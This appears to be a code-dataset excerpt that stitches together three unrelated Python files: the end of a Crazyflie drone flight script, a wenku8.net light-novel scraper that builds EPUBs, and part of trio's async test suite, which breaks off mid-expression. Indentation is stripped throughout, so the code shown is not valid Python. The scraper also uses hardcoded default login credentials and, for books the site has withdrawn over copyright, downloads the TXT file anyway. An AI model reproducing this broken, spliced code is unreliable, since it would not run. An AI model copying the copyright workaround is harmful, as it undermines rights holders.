goto_arr = [[-0.83, 0.70], [-0.97, 0.52], [-0.98, -0.50], [-0.85, -0.70]]
for t in range(3): cf.goTo(goal = goto_arr[lp_names.index(lp)]+[TAKEOFFHEIGHT], yaw=0.0, duration = 3.0, relative = False)
time.sleep(3.0)
""" landing """
print 'Landing...'
for t in range(3): cf.land(targetHeight = -0.05, duration = landing_time)
if data_recording:
print "Data recording started"
pose_recording = Process(target=start_recording, args=(cf_names, lp_names, experiment_type, ))
pose_recording.start()
land_detector()
# cf.goTo(goal = [0.0, -0.4, 0.0], yaw=0.0, duration = 2.0, relative = True)
# time.sleep(2.0)
# cf.goTo(goal = [0.0, 0.8, 0.0], yaw=0.0, duration = 4.0, relative = True)
# time.sleep(4.0)
# cf.goTo(goal = [0.0, -0.4, 0.0], yaw=0.0, duration = 2.0, relative = True)
# time.sleep(2.0)
# time_to_sleep = 1.5
# cf.goTo(goal = [.5, .5, 0.0], yaw=-.75*3.14, duration = 2.0, relative = True)
# time.sleep(3.0)
# for i in range(2):
# cf.goTo(goal = [0.0, -1.0, 0.0], yaw=-1.57, duration = 2.0, relative = True)
# time.sleep(time_to_sleep)
# cf.goTo(goal = [-1.0, 0.0, 0.0], yaw=-1.57, duration = 2.0, relative = True)
# time.sleep(time_to_sleep)
# cf.goTo(goal = [0.0, 1.0, 0.0], yaw=-1.57, duration = 2.0, relative = True)
# time.sleep(time_to_sleep)
# cf.goTo(goal = [1.0, 0.0, 0.0], yaw=-1.57, duration = 2.0, relative = True)
# time.sleep(time_to_sleep)
# cf.goTo(goal = [0, 0.0, 0.0], yaw=0, duration = 2.0, relative = False)
# time.sleep(3.0)
# traj1 = uav_trajectory.Trajectory()
# traj1.loadcsv("takeoff.csv")
# traj2 = uav_trajectory.Trajectory()
# traj2.loadcsv("figure8.csv")
# print(traj1.duration)
# cf.uploadTrajectory(0, 0, traj1)
# cf.uploadTrajectory(1, len(traj1.polynomials), traj2)
# cf.startTrajectory(0, timescale=1.0)
# time.sleep(traj1.duration * 2.0)
# cf.startTrajectory(1, timescale=2.0)
# time.sleep(traj2.duration * 2.0)
# cf.startTrajectory(0, timescale=1.0, reverse=True)
# time.sleep(traj1.duration * 1.0)
# cf.stop() |
wenku8toepub.py | import requests
import bs4
from bs4 import BeautifulSoup as Soup
from ebooklib import epub
import os
import sys
import getopt
from base_logger import get_logger
import threading
import io
import re
import signal
class Wenku8ToEpub:
USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \
'Chrome/90.0.4430.212 Safari/537.36'
class BaseError(Exception):
def __init__(self, data: str = None):
self.data = data
logger.error(self.__str__())
def __str__(self):
return f"Error: {self.__class__.__name__}{(' : %s' % self.data) if self.data is not None else ''}"
class ArgsError(BaseError):
pass
class Watcher:
# 当 Ctrl + C 结束程序，保存当前进度
instance = None
def __init__(self, on_exit, args: list = None, kwargs: dict = None):
if on_exit is None:
return
self.args: list = args
if self.args is None:
self.args = []
self.kwargs: list = kwargs
if self.kwargs is None:
self.kwargs = {}
self.on_exit = on_exit
Wenku8ToEpub.Watcher.instance = self
def start_watch(self):
signal.signal(signal.SIGINT, self.watch)
@staticmethod
def watch(*args, **kwargs):
self = Wenku8ToEpub.Watcher.instance
self.on_exit(*self.args, **self.kwargs)
def __init__(self, username: str = 'wenku8toepub', password: str = 'wenku8toepub', proxy: str = None, **kwargs):
# api格式
# 参数1：id千位开头
# 参数2：id
self.api = "https://www.wenku8.net/novel/%s/%d/"
self.api_info = "https://www.wenku8.net/book/%d.htm"
# self.api_img = "http://img.wkcdn.com/image/%s/%d/%ds.jpg"
self.api_img = "https://img.wenku8.com/image/%s/%d/%ds.jpg"
self.img_splits = ['http://pic.wenku8.com/pictures/',
'http://pic.wkcdn.com/pictures/',
'http://picture.wenku8.com/pictures/',
'https://pic.wenku8.com/pictures/',
'https://pic.wkcdn.com/pictures/',
'https://picture.wenku8.com/pictures/']
self.api_login = 'http://www.wenku8.net/login.php?do=submit"'
self.api_search_1 = 'http://www.wenku8.net/modules/article/search.php?searchtype=articlename&searchkey=%s'
self.api_search_2 = 'http://www.wenku8.net/modules/article/search.php?searchtype=author&searchkey=%s'
self.api_txt = 'http://dl.wenku8.com/down.php?type=txt&id=%d'
self.cookies = ''
self.cookie_jar = None
self.book = epub.EpubBook()
self.thread_img_pool = []
self.thread_pool = []
# 用于章节排序的文件名
self.sum_index = 0
# 目录管理
self.toc = []
# 主线
self.spine = ['cover', 'nav']
# 当前章节
self.chapters = []
self.book_id: int = 0
self.image_size = None
self.image_count = 0
self.proxy: str = proxy
self.lock = threading.Lock()
self.logger = kwargs.get('logger', None)
if self.logger is None:
self.logger = get_logger(__name__)
# 搜索用账号
self.username, self.password = username, password
# 解决结束程序的进度保存问题
self.running: bool = False
self.watcher = Wenku8ToEpub.Watcher(on_exit=self.on_exit)
def on_exit(self):
logger.warning(f"Exiting and saving file...")
self.lock.acquire()
self.running = False
self.lock.release()
def get_proxy(self) -> dict:
if self.proxy is None:
return {}
return {
'http': self.proxy,
'https': self.proxy
}
# 登录，能够使用搜索功能。
def login(self, username: str = None, password: str = None):
username = self.username if username is None else username
password = self.password if password is None else password
if username is None or password is None:
raise Wenku8ToEpub.ArgsError()
payload = {'action': 'login',
'jumpurl': '',
'username': username,
'password': password}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': Wenku8ToEpub.USER_AGENT
}
response = requests.request("POST", self.api_login, headers=headers, data=payload, proxies=self.get_proxy())
html = response.content.decode('gbk')
if '登录成功' not in html:
self.logger.error("登录失败")
return
cookie_value = ''
for key, value in response.cookies.items():
cookie_value += key + '=' + value + ';'
self.cookies = cookie_value
self.cookie_jar = response.cookies
# 搜索，应该先登录
def search(self, key: str):
books = self.search_one(self.api_search_1, key)
books.extend(self.search_one(self.api_search_2, key))
return books
def search_one(self, selected_api: str, key: str):
self.login()
if len(self.cookies) == 0 or self.cookie_jar is None:
# 还没有登录
self.logger.error("请先登录再使用搜索功能")
return []
headers = {
'User-Agent': Wenku8ToEpub.USER_AGENT,
'Content-Type': 'multipart/form-data; boundary=--------------------------607040101744888865545920',
'Cookie': self.cookies
}
# 注意编码问题
# 云 -> %D4%C6
encodings = key.encode('gbk').hex().upper()
key_arg = ''
for i in range(0, len(encodings), 2):
key_arg = key_arg + '%' + encodings[i] + encodings[i + 1]
response = requests.request("GET", selected_api % key_arg, headers=headers, cookies=self.cookie_jar,
proxies=self.get_proxy())
html = response.content.decode("gbk", errors='ignore')
soup = Soup(html, 'html.parser')
if '推一下' in html:
# 直接进入了单本状态
# print(soup)
# print(title, bid, cover, status, brief)
title = soup.find_all('b')[1].get_text()
bid = ''
for n in re.findall('\d', response.url)[1:]:
bid = bid + n
bid = int(bid)
try:
cover = soup.find_all('img')[1].get_attribute_list('src')[0]
except IndexError:
cover = None
try:
status = soup.find_all('table')[0].find_all('tr')[2].get_text().replace('\n', ' ')
except IndexError:
status = None
brief = '(Missing...)'
try:
brief = soup.find_all('table')[2].find_all('td')[1].find_all('span')[4].get_text()
except IndexError:
spans = soup.find_all('span')
for i in range(len(spans)):
if '内容简介' in spans[i].get_text():
brief = spans[i + 1].get_text()
book = {
'title': title, 'bid': bid, 'cover': cover, 'status': status, 'brief': brief
}
return [book, ]
td = soup.find('td')
books = []
for content in td.children:
if not isinstance(content, bs4.element.Tag):
continue
title = content.find_all('a')[1].get_text()
url = content.find_all('a')[1].get_attribute_list('href')[0]
numbers = re.findall('\d', url)[1:]
bid = ''
for n in numbers:
bid = bid + n
bid = int(bid)
cover = content.find_all('img')[0].get_attribute_list('src')[0]
status = content.find_all('p')[0].get_text()
brief = content.find_all('p')[1].get_text()[3:]
book = {
'title': title, 'bid': bid, 'cover': cover, 'status': status, 'brief': brief
}
books.append(book)
return books
# 获取书籍信息。
# {
# id, name, author, brief, cover, copyright
# }
def book_info(self, book_id: int):
url_cat = "%s%s" % (self.api % (("%04d" % book_id)[0], book_id), "index.htm")
resp = requests.get(url_cat, headers={'User-Agent': Wenku8ToEpub.USER_AGENT}, proxies=self.get_proxy()).content
soup_cat = Soup(resp, 'html.parser')
table = soup_cat.select('table')
if len(table) == 0:
self.logger.error("遇到错误")
return None
table = table[0]
if len(soup_cat.select("#title")) == 0:
self.logger.error('该小说不存在！id = ' + str(book_id))
return None
title = soup_cat.select("#title")[0].get_text()
author = soup_cat.select("#info")[0].get_text().split('作者：')[-1]
url_cover = self.api_img % (("%04d" % book_id)[0], book_id, book_id)
brief = ''
url_cat2 = self.api_info % (book_id,)
soup_cat2 = Soup(
requests.get(url_cat2, headers={'User-Agent': Wenku8ToEpub.USER_AGENT}, proxies=self.get_proxy()).content,
'html.parser')
update = ''
for td in soup_cat2.find_all('td'):
if '最后更新' in td.get_text():
update = td.get_text()[5:]
is_copyright = True
if '因版权问题，文库不再提供该小说的在线阅读与下载服务！' in soup_cat2.get_text():
is_copyright = False
spans = soup_cat2.select('span')
for i in range(len(spans)):
span = spans[i]
if '内容简介' in span.get_text():
brief = spans[i + 1].get_text()
return {
"id": book_id,
"name": title,
"author": author,
"brief": brief,
"cover": url_cover,
'copyright': is_copyright,
'update': update
}
# 获取版权状态
def copyright(self, book_id=None):
if book_id is None:
book_id = self.book_id
data = requests.get(self.api_info % book_id, headers={'User-Agent': Wenku8ToEpub.USER_AGENT},
proxies=self.get_proxy()).content
soup = Soup(data, 'html.parser')
if '因版权问题，文库不再提供该小说的在线阅读与下载服务！' in soup.get_text():
return False
return True
def id2name(self, book_id: int):
url_cat = "%s%s" % (self.api % (("%04d" % book_id)[0], book_id), "index.htm")
soup_cat = Soup(
requests.get(url_cat, header={'User-Agent': Wenku8ToEpub.USER_AGENT}, proxies=self.get_proxy()).content,
'html.parser')
table = soup_cat.select('table')
if len(table) == 0:
self.logger.error("遇到错误")
return ''
table = table[0]
if len(soup_cat.select("#title")) == 0:
self.logger.error('该小说不存在！id = ' + str(book_id))
return ''
title = soup_cat.select("#title")[0].get_text()
# author = soup_cat.select("#info")[0].get_text().split('作者：')[-1]
# url_cover = self.api_img % (("%04d" % self.book_id)[0], self.book_id, self.book_id)
return title
def get_page(self, url_page: str, title: str = ''):
data = requests.get(url_page, headers={'User-Agent': Wenku8ToEpub.USER_AGENT}, proxies=self.get_proxy()).content
soup = Soup(data, 'html.parser')
content = soup.select('#content')[0]
# 去除ul属性
[s.extract() for s in content("ul")]
return ("<h1>%s</h1>%s" % (title, content.prettify())).encode()
def fetch_img(self, url_img):
if self.image_size is not None and self.image_size < self.image_count:
self.logger.warn('达到最大图像总计大小，取消图像下载')
# 此时文档中的链接是错误的...所以贪心要付出代价
# 上一行注释是啥来着(?)
return
if not self.running:
logger.warning(f'Canceling image: {url_img}')
return
self.logger.info('->Fetching image: ' + url_img + '...')
data_img = requests.get(url_img, headers={'User-Agent': Wenku8ToEpub.USER_AGENT},
proxies=self.get_proxy()).content
self.image_count = self.image_count + len(data_img)
filename = None
for sp in self.img_splits:
if sp in url_img:
filename = url_img.split(sp)[-1]
if filename is None:
filename = url_img.split(':')[-1].split('//')[-1]
filetype = url_img.split('.')[-1]
# print('done. filename:', filename, "filetype", filetype)
img = epub.EpubItem(file_name="images/%s" % filename,
media_type="image/%s" % filetype, content=data_img)
self.lock.acquire()
self.book.add_item(img)
self.lock.release()
self.logger.info('<-Done image: ' + url_img)
def fetch_chapter(self, a, order: int, fetch_image: bool):
if a.get_text() == '插图':
self.logger.info('Images: ' + a.get_text())
else:
self.logger.info('Chapter: ' + a.get_text())
title_page = a.get_text()
url_page = "%s%s" % (self.api % (("%04d" % self.book_id)[0], self.book_id), a.get('href'))
if not self.running:
logger.warning(f'Canceling chapter: {url_page}')
return
data_page = self.get_page(url_page, title=title_page)
self.lock.acquire()
page = epub.EpubHtml(title=title_page, file_name='%s.xhtml' % self.sum_index)
# 多线程模式下文件名会不按照顺序...
self.sum_index = self.sum_index + 1
self.lock.release()
if fetch_image is True:
soup_tmp = Soup(data_page, 'html.parser')
img_content = soup_tmp.select(".imagecontent")
self.thread_img_pool = []
for img in img_content:
url_img = img.get("src")
# 排除其他站点的图片，防止访问超时
origin = False
for wenku8_img in self.img_splits:
if wenku8_img in url_img:
origin = True
if not origin:
continue
th = threading.Thread(target=self.fetch_img, args=(url_img,))
self.thread_img_pool.append(th)
th.setDaemon(True)
th.start()
for it in self.thread_img_pool:
it.join()
# 在应该下载图片的时候进行替换
if self.image_size is None \
or (self.image_size is not None and self.image_size > self.image_count):
for url in self.img_splits:
data_page = (data_page.decode().replace(url, 'images/')).encode()
page.set_content(data_page)
self.lock.acquire()
self.book.add_item(page)
self.lock.release()
self.chapters[order] = page
def get_book_no_copyright(self, targets, author: str = 'undefined', **kwargs):
response = requests.get(self.api_txt % self.book_id, stream=True,
headers={'User-Agent': Wenku8ToEpub.USER_AGENT}, proxies=self.get_proxy())
chunk_size = 1024 * 100 # 单次请求最大值
content_size = 0 # 内容体总大小
self.logger.info('该书没有版权，开始下载TXT文件转化为EPUB')
data_download = io.BytesIO()
for data in response.iter_content(chunk_size=chunk_size):
data_download.write(data)
content_size = int(content_size + len(data))
self.logger.info('已经下载 %s KB' % (content_size // 1024))
data_download.seek(0)
txt = data_download.read().decode('gbk', errors='ignore')
self.logger.info('TXT下载完成')
title = re.findall('<.+>', txt[:81])[0][1:-1]
txt = txt[40 + len(title):-76]
volumes = []
chapters = []
for tar in targets:
if tar.get_attribute_list('class')[0] == 'vcss':
volumes.append(tar.get_text())
chapters.append({
'volume': tar.get_text(),
'chapters': []
})
continue
if tar.get_attribute_list('class')[0] == 'ccss' \
and tar.get_text().encode() != b'\xc2\xa0':
chapters[-1]['chapters'].append(tar.get_text())
continue
last_end = 0
length = len(txt)
for i in range(len(chapters)):
v = chapters[i]
txt_all = []
volume_text = v['volume']
self.logger.info('volume: ' + volume_text)
for c in v['chapters']:
anchor = "%s %s" % (volume_text, c)
next_end = txt.find(anchor, last_end, length)
# print('next_end', next_end)
if next_end <= 6:
continue
txt_slice = txt[last_end: next_end]
last_end = next_end
txt2 = ''
for line in txt_slice.splitlines():
txt2 = txt2 + '<p>%s</p>' % line
txt_slice = txt2
txt_all.append(txt_slice)
if i + 1 == len(chapters):
txt_all.append(txt[last_end:])
else:
point = txt.find(chapters[i + 1]['volume'], last_end, length)
# print('point', point)
txt_all.append(txt[last_end:point])
last_end = point - 1
if len(txt_all) != len(v['chapters']):
# print('err')
# 虽然不知道为啥，这么写就对了
txt_all = txt_all[1:]
# 先增加卷
self.toc.append((epub.Section(volume_text), []))
self.lock.acquire()
volume = epub.EpubHtml(title=volume_text, file_name='%s.html' % self.sum_index)
self.sum_index = self.sum_index + 1
volume.set_content(("<h1>%s</h1><br>" % volume_text).encode())
self.book.add_item(volume)
self.lock.release()
# 增加章节
for i in range(len(v['chapters'])):
chapter_title = v['chapters'][i]
self.logger.info('chapter: ' + chapter_title)
self.lock.acquire()
page = epub.EpubHtml(title=chapter_title, file_name='%s.xhtml' % self.sum_index)
self.sum_index = self.sum_index + 1
self.lock.release()
page.set_content(txt_all[i])
self.lock.acquire()
self.book.add_item(page)
self.lock.release()
self.toc[-1][1].append(page)
self.spine.append(page)
self.save_book(title, author, **kwargs)
def get_book(self, book_id: int,
fetch_image: bool = True,
image_size=None, **kwargs):
# :param image_size 图像总计最大大小（字节数）
self.image_size = image_size
self.book_id = book_id
url_cat = "%s%s" % (self.api % (("%04d" % self.book_id)[0], self.book_id), "index.htm")
soup_cat = Soup(
requests.get(url_cat, headers={'User-Agent': Wenku8ToEpub.USER_AGENT}, proxies=self.get_proxy()).content,
'html.parser')
table = soup_cat.select('table')
if len(table) == 0:
self.logger.error("遇到错误")
return False
table = table[0]
if len(soup_cat.select("#title")) == 0:
self.logger.error('该小说不存在！id = ' + str(self.book_id))
return
title = soup_cat.select("#title")[0].get_text()
author = soup_cat.select("#info")[0].get_text().split('作者：')[-1]
url_cover = self.api_img % (("%04d" % self.book_id)[0], self.book_id, self.book_id)
data_cover = requests.get(url_cover, headers={'User-Agent': Wenku8ToEpub.USER_AGENT},
proxies=self.get_proxy()).content
self.logger.info('#' * 15 + '开始下载' + '#' * 15)
self.logger.info('标题: ' + title + " 作者: " + author)
self.book.set_identifier("%s, %s" % (title, author))
self.book.set_title(title)
self.book.add_author(author)
self.book.set_cover('cover.jpg', data_cover)
self.running = True
self.watcher.start_watch()
targets = table.select('td')
is_copyright = self.copyright()
if not is_copyright:
# if is_copyright:
# 没有版权的时候
return self.get_book_no_copyright(targets, bin_mode=kwargs.get('bin_mode', False), author=author)
order = 0
chapter_names = []
for tar in targets:
a = tar.select('a')
# 这是本卷的标题
text = tar.get_text()
# 排除空白表格
if text.encode() == b'\xc2\xa0':
# print('排除了', text, text.encode() == b'\xc2\xa0')
continue
if len(a) == 0:
volume_text = tar.get_text()
self.logger.info('volume: ' + volume_text)
# 上一章节的chapter
for th in self.thread_pool:
th.join()
# 已经全部结束
if len(self.thread_pool) != 0:
self.thread_pool = []
for chapter in self.chapters:
if chapter is None:
continue
self.toc[-1][1].append(chapter)
self.spine.append(chapter)
self.chapters = [None for _ in range(len(targets))]
order = 0
self.toc.append((epub.Section(volume_text), []))
self.lock.acquire()
volume = epub.EpubHtml(title=volume_text, file_name='%s.html' % self.sum_index)
self.sum_index = self.sum_index + 1
volume.set_content(("<h1>%s</h1><br>" % volume_text).encode())
self.book.add_item(volume)
self.lock.release()
continue
# 是单章
a = a[0]
th = threading.Thread(target=self.fetch_chapter, args=(a, order, fetch_image))
chapter_names.append(a.get_text())
order = order + 1
self.thread_pool.append(th)
th.setDaemon(True)
th.start()
# 最后一个章节的chapter
for th in self.thread_pool:
th.join()
# 已经全部结束
if len(self.thread_pool) != 0:
self.thread_pool = []
for chapter in self.chapters:
if chapter is None:
continue
self.toc[-1][1].append(chapter)
self.spine.append(chapter)
self.save_book(title, author, **kwargs)
def save_book(self, title: str, author: str, bin_mode: bool = False, save_path: str = '', index: int = None):
def generate_filename(index_: int):
return '%s - %s%s.epub' % (title, author, '' if index is None else f'({index_})')
if bin_mode is True:
stream = io.BytesIO()
epub.write_epub(stream, self.book)
stream.seek(0)
return stream.read()
if index is None:
self.book.toc = self.toc
# 添加目录信息
self.book.add_item(epub.EpubNcx())
self.book.add_item(epub.EpubNav())
# 创建主线，即从头到尾的阅读顺序
self.book.spine = self.spine
path = os.path.join(save_path, generate_filename(index_=index))
if os.path.exists(path):
if index is None:
logger.warning(f"{path} exists, saving to another file...")
self.save_book(title, author, bin_mode=bin_mode, save_path=save_path,
index=(index + 1 if index is not None else 1))
else:
epub.write_epub(path, self.book)
logger.warning(f"saved to {generate_filename(index_=index)}")
help_str = '''
把 www.wenku8.net 的轻小说在线转换成epub格式。
wenku8.net 没有版权的小说则下载 TXT 文件然后转换为 epub 文件。
wk2epub [-h] [-t] [-m] [-b] [-s search_word] [-p proxy_url] [list]
list 一个数字列表，表示 wenku8 的书的ID（从链接可以找到）。
中间用空格隔开。此项请放在最后。
-t 只获取文字，忽略图片，但是图像远程链接仍然保留在文中。
此开关默认关闭，即默认获取图片。
-i 显示该书信息。
-s search_key 按照关键词搜索书籍。
-p proxy_url 使用代理。
-b 把生成的epub文件直接从标准输出返回。此时list长度应为1。
-h 显示本帮助。
Example: wk2epub -t 2541
About: https://github.com/chiro2001/Wenku8ToEpub
Version: 2021/9/16 22:43 PM
'''
logger = get_logger()
if __name__ == '__main__':
try:
_opts, _args = getopt.getopt(sys.argv[1:], '-h-t-b-i-os:p:', [])
except getopt.GetoptError as e:
logger.error(f'参数解析错误: {e}')
sys.exit(1)
_fetch_image = True
_bin_mode = False
_show_info = False
_print_help = True
_run_mode = 'download'
_search_key: str = None
_proxy: str = None
for name, val in _opts:
if '-h' == name:
print(help_str)
sys.exit()
if '-t' == name:
_fetch_image = False
if '-b' == name:
_bin_mode = True
if '-i' == name:
_show_info = True
if '-s' == name:
_run_mode = 'search'
_search_key = val
if '-p' == name:
_proxy = val
logger.warning(f'using proxy: {_proxy}')
if _run_mode == 'search':
wk = Wenku8ToEpub(proxy=_proxy)
_books = wk.search(_search_key)
for _book in _books:
logger.info(f"ID:{_book['bid']:4} {_book['title']:8} "
f"{(_book['status'][:18] + '...') if len(_book['status']) >= 21 else _book['status']}")
else:
if len(_args) == 0:
print(help_str)
sys.exit()
try:
_args = list(map(int, _args))
except ValueError as e:
logger.error("错误: 参数只接受数字。")
logger.error(f"args: {_args}")
print(help_str)
sys.exit()
for _id in _args:
wk = Wenku8ToEpub(logger=logger, proxy=_proxy)
_book_info = wk.book_info(_id)
print('信息：ID:%s\t书名:%s\t作者:%s' % (_book_info['id'], _book_info['name'], _book_info['author']))
print('简介：\n%s' % _book_info['brief'])
res = wk.get_book(_id, fetch_image=_fetch_image, bin_mode=_bin_mode)
if _bin_mode is True:
print(res)
|
test_run.py | import contextvars
import functools
import platform
import sys
import threading
import time
import types
import warnings
from contextlib import contextmanager
from math import inf
import attr
import outcome
import sniffio
import pytest
from async_generator import async_generator
from .tutil import check_sequence_matches, gc_collect_harder
from ... import _core
from ..._threads import run_sync_in_worker_thread
from ..._timeouts import sleep, fail_after
from ..._util import aiter_compat
from ...testing import (
wait_all_tasks_blocked,
Sequencer,
assert_checkpoints,
)
# slightly different from _timeouts.sleep_forever because it returns the value
# its rescheduled with, which is really only useful for tests of
# rescheduling...
async def sleep_forever():
return await _core.wait_task_rescheduled(lambda _: _core.Abort.SUCCEEDED)
# Some of our tests need to leak coroutines, and thus trigger the
# "RuntimeWarning: coroutine '...' was never awaited" message. This context
# manager should be used anywhere this happens to hide those messages, because
# (a) when expected they're clutter, (b) on CPython 3.5.x where x < 3, this
# warning can trigger a segfault if we run with warnings turned into errors:
# https://bugs.python.org/issue27811
@contextmanager
def ignore_coroutine_never_awaited_warnings():
with warnings.catch_warnings():
warnings.filterwarnings(
"ignore", message="coroutine '.*' was never awaited"
)
try:
yield
finally:
# Make sure to trigger any coroutine __del__ methods now, before
# we leave the context manager.
gc_collect_harder()
def test_basic():
async def trivial(x):
return x
assert _core.run(trivial, 8) == 8
with pytest.raises(TypeError):
# Missing an argument
_core.run(trivial)
with pytest.raises(TypeError):
# Not an async function
_core.run(lambda: None)
async def trivial2(x):
await _core.checkpoint()
return x
assert _core.run(trivial2, 1) == 1
def test_initial_task_error():
async def main(x):
raise ValueError(x)
with pytest.raises(ValueError) as excinfo:
_core.run(main, 17)
assert excinfo.value.args == (17,)
def test_run_nesting():
async def inception():
async def main(): # pragma: no cover
pass
return _core.run(main)
with pytest.raises(RuntimeError) as excinfo:
_core.run(inception)
assert "from inside" in str(excinfo.value)
async def test_nursery_warn_use_async_with():
with pytest.raises(RuntimeError) as excinfo:
on = _core.open_nursery()
with on:
pass # pragma: no cover
excinfo.match(
r"use 'async with open_nursery\(...\)', not 'with open_nursery\(...\)'"
)
# avoid unawaited coro.
async with on:
pass
async def test_nursery_main_block_error_basic():
exc = ValueError("whoops")
with pytest.raises(ValueError) as excinfo:
async with _core.open_nursery():
raise exc
assert excinfo.value is exc
async def test_child_crash_basic():
exc = ValueError("uh oh")
async def erroring():
raise exc
try:
# nursery.__aexit__ propagates exception from child back to parent
async with _core.open_nursery() as nursery:
nursery.start_soon(erroring)
except ValueError as e:
assert e is exc
async def test_basic_interleave():
async def looper(whoami, record):
for i in range(3):
record.append((whoami, i))
await _core.checkpoint()
record = []
async with _core.open_nursery() as nursery:
nursery.start_soon(looper, "a", record)
nursery.start_soon(looper, "b", record)
check_sequence_matches(
record,
[{("a", 0), ("b", 0)}, {("a", 1), ("b", 1)}, {("a", 2), ("b", 2)}]
)
def test_task_crash_propagation():
looper_record = []
async def looper():
try:
while True:
await _core.checkpoint()
except _core.Cancelled:
print("looper cancelled")
looper_record.append("cancelled")
async def crasher():
raise ValueError("argh")
async def main():
async with _core.open_nursery() as nursery:
nursery.start_soon(looper)
nursery.start_soon(crasher)
with pytest.raises(ValueError) as excinfo:
_core.run(main)
assert looper_record == ["cancelled"]
assert excinfo.value.args == ("argh",)
def test_main_and_task_both_crash():
# If main crashes and there's also a task crash, then we get both in a
# MultiError
async def crasher():
raise ValueError
async def main():
async with _core.open_nursery() as nursery:
nursery.start_soon(crasher)
raise KeyError
with pytest.raises(_core.MultiError) as excinfo:
_core.run(main)
print(excinfo.value)
assert set(type(exc)
for exc in excinfo.value.exceptions) == {ValueError, KeyError}
def test_two_child_crashes():
async def crasher(etype):
raise etype
async def main():
async with _core.open_nursery() as nursery:
nursery.start_soon(crasher, KeyError)
nursery.start_soon(crasher, ValueError)
with pytest.raises(_core.MultiError) as excinfo:
_core.run(main)
assert set(type(exc)
for exc in excinfo.value.exceptions) == {ValueError, KeyError}
async def test_child_crash_wakes_parent():
async def crasher():
raise ValueError
with pytest.raises(ValueError):
async with _core.open_nursery() as nursery:
nursery.start_soon(crasher)
await sleep_forever()
async def test_reschedule():
t1 = None
t2 = None
async def child1():
nonlocal t1, t2
t1 = _core.current_task()
print("child1 start")
x = await sleep_forever()
print("child1 woke")
assert x == 0
print("child1 rescheduling t2")
_core.reschedule(t2, outcome.Error(ValueError()))
print("child1 exit")
async def child2():
nonlocal t1, t2
print("child2 start")
t2 = _core.current_task()
_core.reschedule(t1, outcome.Value(0))
print("child2 sleep")
with pytest.raises(ValueError):
await sleep_forever()
print("child2 successful exit")
async with _core.open_nursery() as nursery:
nursery.start_soon(child1)
# let t1 run and fall asleep
await _core.checkpoint()
nursery.start_soon(child2)
async def test_current_time():
t1 = _core.current_time()
# Windows clock is pretty low-resolution -- appveyor tests fail unless we
# sleep for a bit here.
time.sleep(time.get_clock_info("perf_counter").resolution)
t2 = _core.current_time()
assert t1 < t2
async def test_current_time_with_mock_clock(mock_clock):
start = mock_clock.current_time()
assert mock_clock.current_time() == _core.current_time()
assert mock_clock.current_time() == _core.current_time()
mock_clock.jump(3.14)
assert start + 3.14 == mock_clock.current_time() == _core.current_time()
async def test_current_clock(mock_clock):
assert mock_clock is _core.current_clock()
async def test_current_task():
parent_task = _core.current_task()
async def child():
assert _core.current_task().parent_nursery.parent_task is parent_task
async with _core.open_nursery() as nursery:
nursery.start_soon(child)
async def test_root_task():
root = _core.current_root_task()
assert root.parent_nursery is None
def test_out_of_context():
with pytest.raises(RuntimeError):
_core.current_task()
with pytest.raises(RuntimeError):
_core.current_time()
async def test_current_statistics(mock_clock):
# Make sure all the early startup stuff has settled down
await wait_all_tasks_blocked()
# A child that sticks around to make some interesting stats:
async def child():
try:
await sleep_forever()
except _core.Cancelled:
pass
stats = _core.current_statistics()
print(stats)
# 2 system tasks + us
assert stats.tasks_living == 3
assert stats.run_sync_soon_queue_size == 0
async with _core.open_nursery() as nursery:
nursery.start_soon(child)
await wait_all_tasks_blocked()
token = _core.current_trio_token()
token.run_sync_soon(lambda: None)
token.run_sync_soon(lambda: None, idempotent=True)
stats = _core.current_statistics()
print(stats)
# 2 system tasks + us + child
assert stats.tasks_living == 4
# the exact value here might shift if we change how we do accounting
# (currently it only counts tasks that we already know will be
# runnable on the next pass), but still useful to at least test the
# difference between now and after we wake up the child:
assert stats.tasks_runnable == 0
assert stats.run_sync_soon_queue_size == 2
nursery.cancel_scope.cancel()
stats = _core.current_statistics()
print(stats)
assert stats.tasks_runnable == 1
# Give the child a chance to die and the run_sync_soon a chance to clear
await _core.checkpoint()
await _core.checkpoint()
with _core.CancelScope(deadline=_core.current_time() + 5):
stats = _core.current_statistics()
print(stats)
assert stats.seconds_to_next_deadline == 5
stats = _core.current_statistics()
print(stats)
assert stats.seconds_to_next_deadline == inf
@attr.s(cmp=False, hash=False)
class TaskRecorder:
record = attr.ib(default=attr.Factory(list))
def before_run(self):
self.record.append(("before_run",))
def task_scheduled(self, task):
self.record.append(("schedule", task))
def before_task_step(self, task):
assert task is _core.current_task()
self.record.append(("before", task))
def after_task_step(self, task):
assert task is _core.current_task()
self.record.append(("after", task))
def after_run(self):
self.record.append(("after_run",))
def filter_tasks(self, tasks):
for item in self.record:
if item[0] in ("schedule", "before", "after") and item[1] in tasks:
yield item
if item[0] in ("before_run", "after_run"):
yield item
def test_instruments(recwarn):
r1 = TaskRecorder()
r2 = TaskRecorder()
r3 = TaskRecorder()
task = None
# We use a child task for this, because the main task does some extra
# bookkeeping stuff that can leak into the instrument results, and we
# don't want to deal with it.
async def task_fn():
nonlocal task
task = _core.current_task()
for _ in range(4):
await _core.checkpoint()
# replace r2 with r3, to test that we can manipulate them as we go
_core.remove_instrument(r2)
with pytest.raises(KeyError):
_core.remove_instrument(r2)
# add is idempotent
_core.add_instrument(r3)
_core.add_instrument(r3)
for _ in range(1):
await _core.checkpoint()
async def main():
async with _core.open_nursery() as nursery:
nursery.start_soon(task_fn)
_core.run(main, instruments=[r1, r2])
# It sleeps 5 times, so it runs 6 times. Note that checkpoint()
# reschedules the task immediately upon yielding, before the
# after_task_step event fires.
expected = (
[("before_run",), ("schedule", task)] +
[("before", task), ("schedule", task), ("after", task)] * 5 +
[("before", task), ("after", task), ("after_run",)]
)
assert len(r1.record) > len(r2.record) > len(r3.record)
assert r1.record == r2.record + r3.record
assert list(r1.filter_tasks([task])) == expected
def test_instruments_interleave():
tasks = {}
async def two_step1():
tasks["t1"] = _core.current_task()
await _core.checkpoint()
async def two_step2():
tasks["t2"] = _core.current_task()
await _core.checkpoint()
async def main():
async with _core.open_nursery() as nursery:
nursery.start_soon(two_step1)
nursery.start_soon(two_step2)
r = TaskRecorder()
_core.run(main, instruments=[r])
expected = [
("before_run",),
("schedule", tasks["t1"]),
("schedule", tasks["t2"]),
{
("before", tasks["t1"]),
("schedule", tasks["t1"]),
("after", tasks["t1"]),
("before", tasks["t2"]),
("schedule", tasks["t2"]),
